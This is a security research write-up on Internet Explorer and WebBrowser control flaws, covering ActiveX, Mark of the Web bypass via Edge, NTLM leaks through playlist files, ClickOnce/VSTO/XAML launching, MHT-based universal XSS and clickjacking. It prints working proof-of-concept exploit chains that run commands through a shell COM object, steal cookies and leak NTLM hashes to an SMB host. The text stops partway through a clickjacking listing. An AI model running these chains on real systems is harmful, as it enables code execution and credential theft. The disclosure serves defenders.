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Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for
research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs
because this text says so.

Author’s note: this article describes vulnerabilities in ascending order of severity. If you want to skip
straight to the most interesting part, feel free to read it from the bottom up.

Even though Internet Explorer officially reached its end of life in 2020, its core engine remains
widely used in the form of the WebBrowser control. This component is used in applications written
in Visual Basic, .NET, and C#.

Recently, I have discovered and documented several vulnerabilities in software using WebBrowser.
A notable example is my research titled WinRAR’s vulnerable trialware: when free software isn’t fre
e, which details how a MITM attack could lead to remote code execution in one of the world’s most
popular file archivers.

While preparing this research, I tried to find information regarding the official status of the
WebBrowser control. Surprisingly, no official documentation states that it is no longer supported
or about to be deprecated. Furthermore, it appears that while I was working on this article,
Microsoft restricted access to IE Mode in Edge even further. This came in response to the discover
y of APT attacks using social engineering tactics.
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Useful information

Before we dive into the research, let’s break down some key terms that will appear frequently. This
will help avoid any confusion when we analyze the vulnerabilities.

ActiveX. A deprecated Microsoft framework that allows Internet Explorer to access the APIs of
third-party libraries installed on the operating system. A new ActiveX object can be instantiated
using a CLSID or a ProgID.

CLSID (class identifier). A 128-bit number serving as a universally unique identifier for a
specific software component or COM object.

ProgID (programmatic identifier). A human-readable text string used in Windows to identify
COM objects or file associations.

Component Object Model (COM). A Microsoft technology that enables software components
to interact independently of the programming language they were written in. Developers
interact with an object through its interface without needing to understand its internal
implementation.

Mark of the Web (MOTW). A tag applied to files downloaded from the internet. When you run
such a file, Windows displays a security warning. You can check for this tag using the following
PowerShell command:

Get-Content –Path C:/file.txt –Stream zone.identifier

Same-origin policy (SOP). A fundamental security mechanism in browsers that prevents a
document or script loaded by one origin to interact with a resource from another origin.

NTLM (NT LAN Manager). A Windows authentication mechanism. An NTLM leak occurs when
an attacker captures encrypted authentication requests for subsequent GPU-based
bruteforcing.

Security zones. A set of rules and restrictions in Internet Explorer assigned to a resource based
on its origin.

ActiveX: how it works



The first thing we need to discuss is Microsoft’s legacy ActiveX framework. This framework was
used to create software components that ran in the Windows environment, including in Internet
Explorer. Due to security risks and obsolescence, its use is highly discouraged; however, it still
functions within the WebBrowser component and IE itself. Let’s look at an example of code using
CLSID 22D6F312-B0F6-11D0-94AB-0080C74C7E95 . This identifier is stored in the registry at
HKEY_LOCAL_MACHINE\Software\Microsoft\Active Setup\Installed Components  and corresponds to
Windows Media Player. Using this code, we can play a media file named test.mp3  via ActiveX:

<object classid="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">

    <param name="URL" value="test.mp3"/>

</object>

There is another way to instantiate an ActiveX object: via a ProgID. In the example below, we
access Windows Media Player through the string WMPlayer.OCX , creating an instance of the object
using JavaScript:

<script type="text/javascript">

    var player = new ActiveXObject("WMPlayer.OCX");

    player.URL = 'test.mp3';

</script>

What happens when this code is executed? An instance of Windows Media Player will be created,
and the test.mp3 file will be sent to it to be played.

Mark of the Web (MOTW)

Now let’s look at security markers. Imagine I have two HTML files in my ~/Downloads  folder:

I created the first file in Notepad (local file).

The second one was downloaded from the internet.

Let’s check their MOTW tags:



The results are as follows:

test_motw_1.html  (🖥️ – local file). The file has no MOTW tag; an empty Stream error is returned.

test_motw_2.html  (� – downloaded from internet). The file is tagged with MOTW, security zone 3
( ZoneId=3 ).

Security zones

Since we mentioned ZoneId=3 , let’s take a closer look at how security zones actually work. Internet
Explorer uses a zone-based security model, where each zone has a specific privilege level and
component access rights.

| Value | Setting | Details | | | 0 | My Computer | file:/// | | | 1 | Local Intranet Zone |
http(s)://192.168..; http://10...* | | | 2 | Trusted sites Zone | Configurable by the user | | | 3 |
Internet Zone | http(s)://internet.site/ | | | 4 | Restricted Sites Zone | Configurable by the user | |

During my experiments, I discovered that the browser has two special zones that are difficult to
place in the list above: localhost and file://smb/.

Characteristics of localhost:

Has access to numerous ActiveX components (unlike arbitrary internet sites).
Has access to remote SMB servers by default, as if they were in the same zone.

Characteristics of file://smb/:

Uses the file:// URL scheme.

Leads to NTLM leaks by design.

Does not have direct access to local files (unlike file:///C:/).



Let’s check if the privileges of a page hosted on localhost differ from those on an intranet page. To
do this, we’ll try opening a file from an SMB server by clicking the following link:

<a href="file://smb/folder/file" target="test"></a>

Based on the test results, we observed the following:

You can open files from an SMB server (file://smb/) using a page hosted at http://localhost/. You
cannot download files from an SMB server (file://smb/) using a page hosted at http://10.0.0.100/. It
appears that localhost has elevated privileges compared to standard internet or intranet sites.
Based on this, we can build a hierarchy of security zones based on their privileges:

| Zone | Privileges | | | �http://internet.site/ (Lowest privileges) | Can only access the safest ActiveX
components. Can open http://localhost and ftp://localhost | | | 🖥️http://localhost/ and
ftp://localhost/ (Medium privileges) | Can access file://smb/ Have access to numerous ActiveX
components | | | 💻 file:///C:/ and file://localhost/C:/ (Highest privileges) | Have direct access to local
files. Have access to the most insecure ActiveX components, such as WScript.Shell | |

Backstory

Part 1. Access to local files

A few years ago, I started hunting for insufficient HTML sanitization in desktop applications that
could be exploited for Cross-Site Scripting (XSS). My goal was to perform remote code execution or
find something interesting or unusual by executing arbitrary scripts within the application.

I installed a bunch of potentially vulnerable apps and kept a running log of my findings in a
spreadsheet. Today, we will break down one of those findings. Initially, I dismissed this particular
case because, at first glance, it seemed difficult to escalate to RCE. My primary focus was finding
instances where JavaScript is executed under the file:// origin. Later, I revisited my notes, tested
my hypothesis thoroughly, and realized that the issue I had accidentally stumbled upon wasn’t
rooted in the application itself or its configuration, but in Internet Explorer itself.

http://localhost/
http://10.0.0.100/
http://internet.site/
http://localhost/
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One of those notes (a random result from manual fuzzing)

When I executed alert(location)  in the desktop app, the popup displayed http://localhost. All
standard methods for opening new windows were disabled, except for showModalDialog . I
tried opening an HTML page from a test SMB server—and it loaded successfully.

<script>

    showModalDialog('file://localtest.me/users/root/test.html')

</script>

My next step was to execute HTML code on the SMB server. Later, I discovered that the SMB
server wasn’t even necessary: the exact same behavior could be reproduced on a local web
application (http://localhost) by specifying the <base href="file:///">  tag. Here is the code that
would be hosted on the SMB server ( test.html  file):

<!-- file://localtest.me/users/root/test.html -->

<iframe></iframe>

<script>

    frames[0].name='test';

    window.open('//localhost//\\\\localhost\\c:\\users\\root\\test321.html', 'test');

    window.open('//localhost/c:/users/root/test321.html', 'test'); // equivalent file:///c:/users/root/test321.html

</script>

In this example, we open two links in a row. If you open the first link, pause, and then open the
second, a popup will appear before the second link executes, stating that the URL is invalid or
malformed. However, if you open the links in rapid succession, the popup doesn’t have time to
appear.

During testing, I manually tested various links. One of them triggered that exact popup, but after I
closed it, links that were not supposed to open suddenly did. I managed to reproduce this
behavior and eventually found a way to bypass the popup entirely, minimizing user interaction.

Ultimately, this behavior allows an attacker to open local HTML files. Simply put, we found a portal
from the internet to local files, using http://localhost as a proxy.

Important limitation: to exploit this feature, an attacker must first find a way to drop an HTML
file onto the victim’s computer (for example, via previous attack stages or social engineering), and
the victim must be running a web application vulnerable to XSS at http://localhost.

Today, having a web application constantly running at http://localhost is not uncommon. This
could be:

An email client

A development environment

LAMP/XAMPP builds
Electron-based applications

http://localhost/
http://localhost/
http://localhost/
http://localhost/
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Software like uTorrent

Part 2. Downloading arbitrary files without MOTW

The most logical next step would be to try forcing the browser to download a malicious file, right?
However, Internet Explorer prevents file from being saved to disk without user interaction; it
always requires explicit confirmation.

It took me eight months of research to find the easiest bypass. It turns out that Internet Explorer
can open a page in Microsoft Edge without any user interaction by using a link formatted as
microsoft-edge:http://site . And because modern Edge is Chromium-based, it can automatically save
files to ~/Downloads/  without asking any questions.

Unfortunately, I cannot disclose the details of the vulnerable application used in this example, but
the screenshot above shows an ActiveX security warning. This warning appears when a local file
attempts to instantiate a highly insecure COM object— WScript.Shell . I am showing the final stage of
the attack where the malicious WScript.Shell  is attempting to instantiate and is requesting user
permission. Not all COM objects request such permissions—only those that are well known and
lead to command execution, data leaks, or other unsafe events.



When testing this behavior, I used http://localhost for the page that initiated the file download.
When the file was saved and executed, I achieved 1-click RCE by clicking “Yes” in the warning.

However, when I repeated the test under more realistic conditions using http://attacker/ instead of
http://localhost, RCE failed. After a few experiments, I figured out why: when downloaded via htt
p://localhost, the file is saved without the MOTW tag. Without this tag, Windows does not block
dangerous operations. In this specific HTML scenario, the ActiveX warning becomes the only
barrier preventing total system compromise. This deviates slightly from standard IE behavior and
looks like a misconfiguration; normally, when IE opens a local file, it displays an additional security
prompt asking for permission to run JavaScript from a local file.

And finally, we get to the most interesting part—the bugs.

Bug 1. Auto-download and auto-execution of local files: building
the attack chain

💥 Security Issue, VULN-138925

Now we can attempt to download an HTML file without the MOTW tag and execute it immediately.
Local files without MOTW allow us to use a very old technique from the 2000s: remote code
execution via the WScript.Shell  COM object.

The logic behind the RCE via WScript.Shell :

A malicious page opens http://localhost hosting an application vulnerable to XSS, using it as
Explorer (legitimate technique).

The XSS payload at http://localhost launches an Edge window, pointing to its own location.
Using the Edge window, the XSS payload at http://localhost forces exploit.html to download into
the ~/Downloads/  folder without the MOTW tag. The Edge window can then be closed
automatically.

The IE window redirects the XSS from localhost to the locally saved exploit, leveraging the
unclassified vulnerability described earlier.

http://localhost%20for/
http://attacker/
http://localhost/
http://localhost/
http://localhost/
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Demo

To achieve arbitrary code execution (RCE) in Internet Explorer, only two clicks on security prompts
are required.

The final JavaScript code resulting in RCE in Internet Explorer (requiring two clicks on security
prompts):



<script>

getUsername = function () {

  // We need to obtain here a current username via file read or NTLM leak

  setTimeout("runHtml('vboxuser')", 500);

};

runHtml = function (usr) {

  frame = document.createElement("iframe");

  frame.name = "test2";

  window.open(

    "//localhost//\\\\localhost\\c:\\users\\" +

      usr +

      "\\Downloads\\test321.html",

    "test2",

  );

  window.open(

    "//localhost/c:/users/" + usr + "/Downloads/test321.html",

    "test2",

  );

  document.documentElement.appendChild(frame);

};

runEdge = function () {

  window.open("microsoft-edge:" + location + "#step2", "test");

};

function dropHTML1() {

  const data = `<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'></object>

<script>

onload=function(){

try{

exploit.run('calc.exe')

}catch(e){alert(e.message)}

}

<\/script>`;

  const blob = new Blob([data], { type: "text/html" });

  const link = document.createElement("a");

  link.href = URL.createObjectURL(blob);

  link.download = "aaa.html";

  link.click();

  URL.revokeObjectURL(link.href);

  setTimeout(function () {

    window.close();

  }, 500);

}

if (location.hash == "#step2") {

  dropHTML1();



} else {

  runEdge();

  setTimeout("getUsername()", 5000);

}

</script>

Bug 2. NTLM token leak from any website

💥 Security Issue, VULN-139365

While searching for ways to download files, I tested numerous built-in IE features, which led me to
discover several other flaws. I found one of them while investigating what else JavaScript could do
on http://localhost.

If you try to open .css file from http://localhost, it will not open in Internet Explorer; instead, it will
open in a new Notepad.exe process.

Example of HTML code with a link to a CSS file that opens Notepad when clicked:

<a href="test.css">Open notepad from localhost</a>

Internet Explorer first downloads the file to a temporary folder with a randomly generated name,
and then the browser starts a new Notepad process to open it. Using a simple fuzzer that opened
every registered file extension on my Windows system one by one, I managed to launch various
processes. The table below shows examples of file extensions and the applications they launch:

| Extension | Started application | | | .css | notepad.exe | | | .dic | notepad.exe | | | .vsd |
visio.exe | | | .wax | wmplayer.exe | | | .wmd | wmplayer.exe | | | .wmx | wmplayer.exe | | |
.wmz | wmplayer.exe | | | .jnlp | java.exe | | | .application | rundll32.exe | | | .xaml |
PresentationHost.exe | | | .xbap | PresentationHost.exe | | | .pdf | Acrobat.exe | | | .xdp |
Acrobat.exe | | | .xfdf | Acrobat.exe | | | .xps | xpsrchvw.exe | |

The most peculiar extensions:

Windows Forms / ClickOnce: .xaml, .xbap, .vsto. XML files containing the URL of a manifest file
and binary data for execution.

Windows Media: .wmd, .wmz. ZIP archives with settings and skins; .wax, .wmx. XML playlists.

Let us focus on the playlists. Since Windows Media Player can be launched from IE via ActiveX from
any site, we can test more supported playlist formats by launching the player first and then
feeding it the necessary files:

<script type="text/javascript">

    var player = new ActiveXObject("WMPlayer.OCX");

    player.URL = 'test.wax';

</script>

https://msrc.microsoft.com/report/vulnerability/VULN-139365
http://localhost/
http://localhost/


I conducted further tests using the ActiveX object and other playlist extensions, yielding more
results than redirecting from http://localhost.

Column 1: the tested extension

Column 2: results of opening files from http://localhost

Column 3: results of launching files via ActiveX.

| Extension | Opening files from **http://localhost | **Running files via ActiveX | | | .wax | �
| � | | | .wmx | � | � | | | .wvx | ❌ | � | | | .asx | ❌ | � | | | .m3u | ❌ | � | |

Why are playlists so interesting? Because they can contain URLs of files on a remote SMB server,
automatically exposing NTLM hashes during playback!

.M3U NTLM leak Proof of Concept:

#EXTM3U

#EXTINF:-1 tvg-id="3" tvg-name="For Bigger Blazes" tvg-logo="images/ForBiggerBlazes.jpg" group-title="Movies", For Bi

file://smb/test/audio.m3u

.WAX/.WMX/.WVX/.ASX NTLM leak Proof of Concept:

<ASX VERSION="3.0">

  <ENTRY CLIENTSKIP="NO">

    <TITLE>Item 1</TITLE>

    <REF HREF="file://smb/test/audio.asx" />

  </ENTRY>

</ASX>

Not a bug, but a feature 3

🐛 Feature, VULN-138937, VULN-169397

Let us return to the Windows Forms and ClickOnce file extensions. I stumbled upon these files
again while reviewing Internet Explorer’s security zones.

http://localhost/
http://localhost/
http://localhost/
https://msrc.microsoft.com/report/vulnerability/VULN-138937
https://msrc.microsoft.com/report/vulnerability/VULN-169397




In the security zone settings, there are options such as “Loose XAML” and “XAML browser
applications.” By default, for the “Local intranet” and “My computer” zones, these are set to
“Enable” or “Prompt.” This means that files with specific extensions can be executed with minimal
user interaction, sometimes with no notification at all, sometimes requiring just one additional
click.

Which extensions fall into this category? You can open files with the following extensions
from**http://localhostand from local files ( file:/// ):

http://localhost%20and/


.XAML. Extensible Application Markup Language (application/xaml+xml)

.XBAP. XAML Browser Applications (application/x-ms-xbap)

.VSTO. Visual Studio Tools for Office (application/x-ms-vsto)

.APPLICATION. ClickOnce (application/x-ms-application)

Let us analyze the extensions.

1. Extensible Application Markup Language (.XAML)

XAML is an XML-based markup language used to define user interfaces in .NET applications. When
opened in Internet Explorer, it does not trigger security errors or confirmation popups. XAML
allows the instantiation of arbitrary classes, but with serious limitations: only static classes and
methods are available, and the sandbox strictly restricts access to system functions.

Example XAML file:



<?xml version="1.0" encoding="UTF-8"?>

<Page

    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"

    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"

    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"

    xmlns:local="clr-namespace:WpfBrowserApp1"

    mc:Ignorable="d"

    xmlns:sys="clr-namespace:System;assembly=System.Runtime"

    xmlns:sxml="clr-namespace:System.Xml;assembly=System.Xml, Version=4.0.0.0, Culture=neutral"

    d:DesignHeight="450" d:DesignWidth="800" Title="Page1">

    <Page.Resources>

        <ObjectDataProvider x:Key="concatenatedString" ObjectType="{x:Type sys:String}" MethodName="Concat">

            <ObjectDataProvider.MethodParameters>

                <sys:String>abcdefg</sys:String>

                <sys:String>hijklmno</sys:String>

            </ObjectDataProvider.MethodParameters>

        </ObjectDataProvider>

        <ObjectDataProvider x:Key="concatenatedString2" ObjectInstance="{StaticResource concatenatedString}" Method

            <ObjectDataProvider.MethodParameters>

                <sys:String>m</sys:String>

            </ObjectDataProvider.MethodParameters>

        </ObjectDataProvider>

    </Page.Resources>

    <Grid Name="Grid1">

        <StackPanel Background="Aquamarine">

            <TextBlock>

                <TextBlock.Text>

                        <Binding Source="{StaticResource concatenatedString}" Path="Length" />

                </TextBlock.Text>

            </TextBlock>

            <TextBlock>

                <TextBlock.Text>

                        <Binding Source="{StaticResource concatenatedString}" />

                 </TextBlock.Text>

            </TextBlock>

        <TextBlock>

                <TextBlock.Text>

                        <Binding Source="{StaticResource concatenatedString2}" />

                 </TextBlock.Text>

            </TextBlock>

        </StackPanel>



    </Grid>

</Page>

What happens when this file is opened in Internet Explorer?

The xmlns:sys  declaration in XAML references the System  namespace from the .NET assembly.

An object ObjectDataProvider  is created, which calls the static method Concat  of the
System.String  class with the arguments “ abcdefg ” and “ hijklmno “. This results in the string
“ abcdefghijklmno “.

Next, the second ObjectDataProvider  is created. It takes the result of the first operation (the
object with the concatenated string) and calls the IndexOf  method with the argument “ m ” to
find the position of the character “ m ” in the string.

Three values are displayed on the screen:

The length of the concatenated string (the Length  property)

The concatenated string itself

The result of calling the IndexOf  method (the position of the character “ m “)

Attempts to escape the sandbox I tested the possibility of performing more dangerous actions
via XAML. The results were predictable:



Windows.Forms.MessageBox.Show("test", "test")

// � Executes: shows a pop-up window on top of all windows

System.Net.Dns.GetHostEntry("google.com")

// ❌ System.Security.SecurityException: Request for the permission of type 'System.Net.DnsPermission'

System.IO.File.ReadAllText("/path/to/../../../file_outside_base_directory")

// ❌ System.Security.SecurityException: Request for the permission of type 'System.Security.Permissions.FileIOPermission'

XAML operates in strict isolation—a .NET sandbox from which dangerous system functions cannot
be called without additional permissions.

Testing various ways to load XAML To understand where and how XAML files can be launched, I
created two test HTML files with different opening methods, which we will open from
localhost/xaml.html, file://smb/xaml.html, and as a local file file:///c:/xaml.html.

The first method is opening an HTML file and then an .XAML file from the same origin (same
location test):

<!-- xaml1.html: for testing file execution from the same origin -->

<iframe src=".\xaml\" style="height:500;width:500"></iframe>

<iframe src=".\xaml\test2.xaml" style="height:500;width:500"></iframe>

<a href=".\xaml\test2.xaml" style="height:500;width:500">test</a>

The second method is opening an HTML file and then an .XAML file from an SMB server (testing
opening via origin chains):

<!-- xaml2.html—for testing opening from SMB via the chains -->

<iframe src="\\smb\Users\root\ie\motw\xaml\" style="height:500;width:500"></iframe>

<iframe src="\\smb\Users\root\ie\motw\xaml\test.xaml" style="height:500;width:500"></iframe>

<a href="\\smb\Users\root\ie\motw\xaml\test2.xaml" style="height:500;width:500">test</a>

Explanation of the elements in each test:

The first <iframe>  shows a directory listing (like Windows Explorer). If you open a folder via
the** file://  scheme, an Explorer interface appears where you can double-click a file to launch it.

The second <iframe>  attempts to automatically load and display the XAML file.

The <a>  element is designed to launch the file by clicking on it.

*Test results: *

| Same-origin tests | Opening xaml1.html from http://localhost/ | Opening xaml1.html from
file://smb/ | Opening xaml1.html from file:/// | | | Test1 (folder, double click) | 🛑 (does not output
the required listing over http/s) | ❌ | ❌ (launches Edge) | | | Test2 (iframe with file) | � | ❌ | � | | |
Test3 (click on link) | � | ❌ | � | |

http://localhost/


| SMB tests (origin → file://smb/) | Opening xaml2.html from http://localhost/ | Opening
xaml2.html from file://smb/ | Opening xaml2.html from file:/// | | | Test1 (folder, double click) | ❌
(launches Edge) | ❌ | ❌ (launches Edge) | | | Test2 (iframe with file) | ❌ | ❌ | ❌ | | | Test3 (click on
link) | ❌ | ❌ | ❌ | |

Observations when testing different launch methods from different origins:

Directory listing via the http:// protocol does not work—it does not trigger the required
functionality.

Double-clicking on the frame with a directory listing launches Edge instead of IE.

Launching XAML from file://smb/ is completely disabled, or rather broken due to IE being
disabled and all links being redirected to open in Edge.

Conclusions on .XAML:

It allows us to run .NET classes but inherits the security context from the XAML document,
which strictly limits its capabilities.

It is the only format in its group that shows absolutely no security prompts upon launch.

Other extensions (.VSTO, .APPLICATION, .XBAP), when tagged with MOTW, do not show classic
security prompts but have their own notifications, which makes them less useful without active
social engineering.

The sandbox can be bypassed by using undocumented features of available classes, finding a
chain that does not inherit the context, or exploiting memory-related .NET vulnerabilities.

2. Visual Studio Tools for Office (.VSTO)

.VSTO are plugins for Microsoft Office applications. A compiled .vsto file is an XML document
containing a digital signature and a link to the main manifest ( .dll.manifest ).

http://localhost/


Example of .VSTO file contents after compilation

Example of the source code for a VSTO plugin that launches calc.exe:

Public Class ThisAddIn

    Private Sub ThisAddIn_Startup() Handles Me.Startup

        Dim wsh

        Try

            wsh = CreateObject("WScript.Shell")

            wsh.run("calc.exe")

        Catch E As Exception

            MsgBox(E.Message)

        End Try

    End Sub

    Private Sub ThisAddIn_Shutdown() Handles Me.Shutdown

    End Sub

End Class

Compiling this code results in a VSTO plugin that, when Excel is launched, attempts to execute the
calc.exe command.



Security prompts for .VSTO:

As I mentioned earlier, this group of extensions (.VSTO, .APPLICATION, .XBAP) does not show
classic Windows security alerts (like when running an .exe from the internet with a MOTW applied),
but they have their own dialog boxes:

Publisher warning

Request for access to unsafe functions (for example, starting processes)

Installation request

File location information (in this case, without MOTW, the file is considered local)

An installed VSTO plugin can be removed via the standard “Apps and features” section in Windows
settings.



Important observations:

Autostarting via Test2 from local files triggers a security prompt requiring an additional click:

[image: image]

When Test1 from http://localhost opens a folder on the SMB server, and the VSTO file is
launched with a double-click from there, a different warning appears, also requiring a click:

https://swarm.ptsecurity.com/wp-content/uploads/2026/06/1c0e0b39-image-2026-5-25_14-34-47-1.png
http://localhost%20opens/


This tells us that the**http://localhost → file://smb/ chain is less privileged than file:///  → file://smb/,
as it displays an additional pop-up window. However, launching directly from http://localhost does
not have the restrictions that file://  has.

Conclusions for .VSTO:

It allows us to inject backdoors into Office applications.

It requires complex social engineering techniques to trick the victim into clicking the security
pop-up.

It can be launched from a remote SMB server, but loading it via the http://localhost → file://smb/
chain requires an extra click for confirmation.

3. ClickOnce (.APPLICATION)

Unlike VSTO plugins, the ClickOnce technology allows us to create fully-fledged console and
windowed applications that run in isolation, rather than inside Office applications.

Example of C# source code that launches calc.exe:

http://localhost/
http://localhost%20does/
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using System;

using System.Diagnostics;

class Program

{

    static void Main()

    {

        try

        {

            Process process = new Process();

            process.StartInfo.FileName = "calc.exe";

            process.StartInfo.UseShellExecute = false;

            process.StartInfo.RedirectStandardOutput = true;

            process.StartInfo.CreateNoWindow = true;

            process.Start();

            string result = process.StandardOutput.ReadToEnd();

            process.WaitForExit();

            Console.WriteLine(result);

        }

        catch (Exception ex)

        {

            Console.WriteLine("Err: " + ex.Message);

        }

    }

}

After compilation and publishing via ClickOnce, we obtain a file with the .application extension,
which attempts to install and execute the application.



Note:

Autostarting via Test2 (iframe with the file) triggers a security window requiring confirmation
(just like with .VSTO).

Opening via a double-click from the file://smb/ folder works perfectly from both types of start
pages (http://localhost/ and file:///).

Conclusions on .APPLICATION:

It allows us to execute commands immediately after clicking through the security warning.

It requires complex social engineering methods to force the victim to click the pop-up.

It can be launched from an SMB server in a specific way (via double-click in Explorer).

4. XAML Browser Applications (.XBAP)

As the name suggests, this type of application runs directly in the browser (although technically it
is a separate process). XBAPs are .NET applications that run in the browser’s sandbox but can
execute arbitrary code if granted the appropriate permissions.

http://localhost/


Security prompts are similar to .VSTO and .APPLICATION, except that the installation is now
considered “trusted.”

Observations when testing different launch methods from different origins:

Autostarting via Test2 from file:/// shows a security prompt (like .VSTO).

Launching via double-clicks in the file://smb/ folder is broken—Edge opens instead of IE (like
with .XAML).

Conclusions on .XBAP:

It allows us to execute commands after confirming the risk (clicking the pop-up window).

It requires complex social engineering techniques.

It cannot be launched from an SMB server.

5. Bonus: Microsoft Edge

Unlike Internet Explorer, files with .application  and .vsto  extensions can be launched from any
website in Microsoft Edge, not just from http://localhost. However, an additional click is now
introduced—a confirmation window similar to the one that appears when launching a third-party
process via a URL scheme in Chromium (for example, when launching calculator: URL).

http://localhost/


This makes an attack via Microsoft Edge slightly less attractive, but still possible with clever social
engineering.

Not a bug, but a feature 4. UXSS

🐛 Feature, VULN-139367, VULN-169397

Some browsers support the MHTML (MIME HTML) web archive format, and Internet Explorer is no
exception. Moreover, IE has its own URL scheme for this format: mhtml: . The syntax of the MIME
HTML web archive is similar to the multipart/form-data **HTTP request and often uses similar
content types: multipart/related  or multipart/mixed . IE allows us to create a web archive from any
page with a simple Ctrl+S keyboard shortcut.

I discovered that a local .mht  file that** lacks a MOTW tag** and includes two specific headers
can lead to a Same Origin Policy (SOP) bypass. This file allows us to emulate an arbitrary Origin and
execute arbitrary JavaScript on any site.

What are these special headers?

Content-location: http://test.com/abc

This header indicates the URL from which a specific part of the page was saved. It seems that this
header overwrites the Origin of the contained HTML page.

Content-ID: <abc123>

This header creates a virtual URL like cid:abc123 , which can be used to load a specific part of the
page.

Example of loading content using CID links:

https://msrc.microsoft.com/report/vulnerability/VULN-139367
https://msrc.microsoft.com/report/vulnerability/VULN-169397


<img src="cid:abc123"/>

<iframe src="cid:abc123"></iframe>

Demonstration of the attack

The logic here is the same as in Bug 1, but instead of loading an .html  file, we now need to load an
.mht  file. Edge does not allow automatic loading of .mht  files, considering this extension unsafe,
but we can still load files manually with a single click anywhere on the page.

Localhost XSS to UXSS Proof of Concept:



<base href="file:///"/>

<iframe name="test" hidden onload=this.setAttribute("onload","try{this.contentDocument}catch(e){setTimeout(functio

<script>

getUsername = function() {

    setTimeout("runHtml('root')", 500)

}

runEdge = function() {

    window.open('microsoft-edge:' + location + '#step2', 'test')

}

dropHTML = function() {

    document.write("<h1>click anywhere</h1>")

    onclick = function() {

        const data = "MIME-Version: 1.0\n\

            Content-Type: multipart/related; boundary=\"----=_NextPart_01DA7EFD.26369D30\"\n\

            \n\

            ------=_NextPart_01DA7EFD.26369D30\n\

            Content-Type: text/html\n\

            Content-Transfer-Encoding: 7bit\n\

            Content-Location: https://msn.com/1\n\

            \n\

            <meta http-equiv=\"refresh\" content=\"2, URL=https://msn.com/1\">\n\

            <iframe src=\"cid:aabb\"></iframe>\n\

            ------=_NextPart_01DA7EFD.26369D30\n\

            Content-Type: text/html\n\

            Content-Transfer-Encoding: 7bit\n\

            Content-ID: <aabb>\n\

            Content-Location: https://msn.com/2\n\

            \n\

            <!DOCTYPE html><html><head>\n\

            <base href=\"http://msn.com/2\">\n\

            \n\

            </head>\n\

            <body>\n\

            <iframe name=\"uxss\" src=\"/aaa/111\"></iframe>\n\

            <script>window.onload=function(){alert(uxss.document.domain + \":::\" + uxss.document.cookie)}<\/script>\n\

            \n\

            </body></html>\n\

            ------=_NextPart_01DA7EFD.26369D30--";

        const blob = new Blob([data], {

            type: 'text/plain'

        });

        url = URL.createObjectURL(blob);

        const link = document.createElement('a');

        link.href = url



        link.id = "aa"

        link.target = "test2"

        link.download = 'aaa_temp_mht.mht';

        link.innerText = 'blob';

        link.click()

        URL.revokeObjectURL(link.href);

        setTimeout(function() {

            window.close();

        }, 5000)

    }

}

runHtml = function(usr) {

    try {

        open("//localhost//\\\\localhost\\c:\\users\\" + usr + "\\downloads\\aaa_temp_mht.mht", "test") +

            open("//localhost//c:/users/" + usr + "/downloads/aaa_temp_mht.mht", "test")

    } catch (e) {}

}

if (location.hash == "#step2") {

    document.write("<h1>click anywhere</h1>")

    onclick = function() {

        dropHTML();

    }

} else {

    runEdge();

    setTimeout(function() {

        getUsername();

    }, 2000);

}

</script>

How it works:

The dropHTML()  function contains a variable with the exploit’s source code—this is the .mht  file.

The main part of the exploit ( Content-Location: https://msn.com/1 ) loads the second part of the
archive via <iframe src="cid:aabb"> .

The part with Content-Location: https://msn.com/2  and Content-ID: <aabb>  loads a new frame. The
URL of this frame ( /aaa/111 ) is not specified in the web archive, which leads to the loading of
real content from msn.com at the specified path.

Accessing this frame via JavaScript is possible because Content-Location  (the spoofed origin) and
the target frame’s origin match—SOP considers them to be the same origin.

Sometimes the exploit requires a reload—this behavior is implemented via the tag <meta http-

equiv="refresh">  in the first part, which reloads the page every two seconds.

UXSS via local .MHT summary:

http://msn.com/


It requires one click in the Edge window to trigger the download of an unsafe file type.

It allows us to execute JavaScript on an arbitrary site (Universal XSS).

It requires an already installed local web application vulnerable to XSS (as in the previous bugs).

Not a bug, but a feature 5

🐛 Feature, VULN-139383, VULN-169397

Recall that using <iframe> , we can not only automatically open files but also retrieve a listing of
local folders or folders on a remote SMB server. This functionality is very similar to explorer.exe

and allows us to copy, delete, and execute files using the mouse.

1. RCE via clickjacking. Type 1

Using the HTML tag <iframe> , you can open a folder or files that are displayed as a folder:

A local folder or a folder on an SMB server

A ZIP archive

A .search-ms file (a saved search is not exactly a folder, but has similar functionality).

[image: image]

The logic behind the new chain

A malicious page opens http://localhost hosting an application vulnerable to XSS (legitimate
technique).

The XSS payload at http://localhost launches an Edge window, pointing to its location.

Using the Edge window, the XSS payload saves files proxy.html  and exploit.zip  to
~/Downloads/ without the MOTW tag. The obtained files inherit the MOTW settings from their
archive.

https://msrc.microsoft.com/report/vulnerability/VULN-139383
https://msrc.microsoft.com/report/vulnerability/VULN-169397
https://swarm.ptsecurity.com/wp-content/uploads/2026/06/287a0ca5-image.png
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The Internet Explorer window redirects the page from http://localhost to the locally saved
HTML file, using the vulnerability from Bug 1. The loaded HTML page opens the ZIP file
containing the exploit using <iframe> .

The user needs to double-click on the file name inside <iframe>  to execute it.

Attack demonstration

I used JavaScript to set the <iframe>  element size to 5 × 5 pixels. Then I configured it so that it is
always under the cursor—this allows clicks to be made anywhere on the page while actually hitting
elements inside the invisible frame.

Exploit listing

http://localhost%20to/


<base href="file:///"/>

<h1>Wait...</h1>

<div id=d1 style="OPACITY: 0; POSITION: absolute; LEFT: 0px; Z-INDEX: 50; TOP: 0px">

<div id=d2 style="MARGIN-TOP: -60px; MARGIN-LEFT: -60px">

<iframe style="OVERFLOW: hidden; HEIGHT: 50px; WIDTH: 50px" name="test" scrolling="no"></iframe>

</div>

</div>

<script>

window.onload = function(){

    document.documentElement.addEventListener('mousemove', function(e) {

        d1.style.left = e.clientX + 15 + "px";

        d1.style.top =   e.clientY + 15 + "px";

    })

}

getUsername = function(){

    setTimeout("runHtml('root')", 500)

}

runEdge = function(){

    window.open('microsoft-edge:'+location+'#step2','test')

    setTimeout(function(){

            window.open('microsoft-edge:'+location+'#step3','test')

    },500)

    setTimeout(function(){

        window.open('microsoft-edge:'+location+'#step4','test')

    },1000)

}

dropHTML1 = function(){

    data = '<h1>Double click anywhere</h1>\n\

        <script>\n\

        if(location.hash != "#step2"){\n\

